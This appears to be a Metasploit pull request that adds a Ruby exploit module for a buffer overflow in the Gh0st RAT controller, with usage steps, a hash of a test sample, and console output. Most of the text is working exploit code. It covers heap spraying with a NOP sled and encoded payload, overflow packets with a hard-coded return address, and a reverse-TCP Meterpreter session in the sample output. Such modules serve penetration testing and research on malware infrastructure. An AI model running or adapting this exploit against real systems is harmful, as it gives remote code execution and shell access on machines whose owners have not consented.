Added Gh0st Controller Buffer Overflow Module

This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim. This vulnerability can allow remote code execution 

## Verification
Run the Gh0st C2 server on a target windows machine. The sample 0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c is a Gh0st 3.6 server that works good for testing.

- [ ] use exploit/windows/misc/gh0st
- [ ] set RHOST [ip of target]
- [ ] exploit

Sample output:
```
msf > use exploit/windows/misc/gh0st
msf exploit(gh0st) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(gh0st) > exploit

[*] Started reverse TCP handler on 192.168.161.1:4444 
[*] 192.168.161.128:80 - Trying target Gh0st Beta 3.6
[*] 192.168.161.128:80 - Spraying heap...
[*] 192.168.161.128:80 - Trying command 103...
[*] Sending stage (957487 bytes) to 192.168.161.128
[*] Meterpreter session 1 opened (192.168.161.1:4444 -> 192.168.161.128:49161) at 2017-07-29 10:11:4

modules/exploits/windows/misc/gh0st.rb

@@ -0,0 +1,128 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'zlib'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Gh0st Client buffer Overflow',
+      'Description'    => %q{
+          This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
+      },
+      'Author'         => 'Professor Plum',
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+          'AllowWin32SEH' => true
+        },
+      'Payload'        =>
+        {
+          'Space'    => 1000,
+          'BadChars' => '',
+          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
+        },
+      'Platform'       => 'win',
+      'DisclosureDate' => 'Jul 27 2017',
+      'Targets'        =>
+        [
+          ['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
+        ],
+      'Privileged'     => false,
+      'DefaultTarget' => 0))
+
+    register_options(
+      [
+        OptString.new('MAGIC', [true, 'the 5 char magic used by the server', 'Gh0st']),
+        Opt::RPORT(80)
+      ], self.class
+    )
+  end
+
+  def make_packet(id, data)
+    msg = id.chr + data
+    compressed = Zlib::Deflate.deflate(msg)
+    datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
+  end
+
+  def validate_response(data)
+    if data.nil?
+      print_status('Server closed connection')
+      return false
+    end
+    if data.empty?
+      print_status('No response recieved')
+      return false
+    end
+    if data.size < 13
+      print_status('Invalid packet')
+      print_status(data)
+      return false
+    end
+    mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
+    if mag.index(datastore['MAGIC']) != 0
+      print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
+      return false
+    end
+    if pktlen != data.size
+      print_status('Packet size mismatch')
+      return false
+    end
+    msg = Zlib::Inflate.inflate(data[13..data.size])
+    if msg.size != msglen
+      print_status('Packet decompress failure')
+      return false
+    end
+    # print_status(msg.ord.to_s)
+    return true
+  end
+
+  def check
+    connect
+    sock.put(make_packet(101, "\x00")) # heartbeat
+    if validate_response(sock.get_once || '')
+      return Exploit::CheckCode::Appears
+    end
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    print_status("Trying target #{target.name}")
+    print_status('Spraying heap...')
+    for i in 0..100
+      connect
+      sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
+      if not validate_response(sock.get_once)
+        disconnect
+        return
+      end
+    end
+
+    for i in 103..107
+      print_status("Trying command #{i}...")
+      begin
+        connect
+        sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
+        sock.put(sploit)
+        if validate_response(sock.get_once)
+          next
+        end
+        sleep(0.1)
+        break
+      rescue EOFError
+        print_status('Invalid')
+      end
+    end
+    handler
+    disconnect
+  end
+end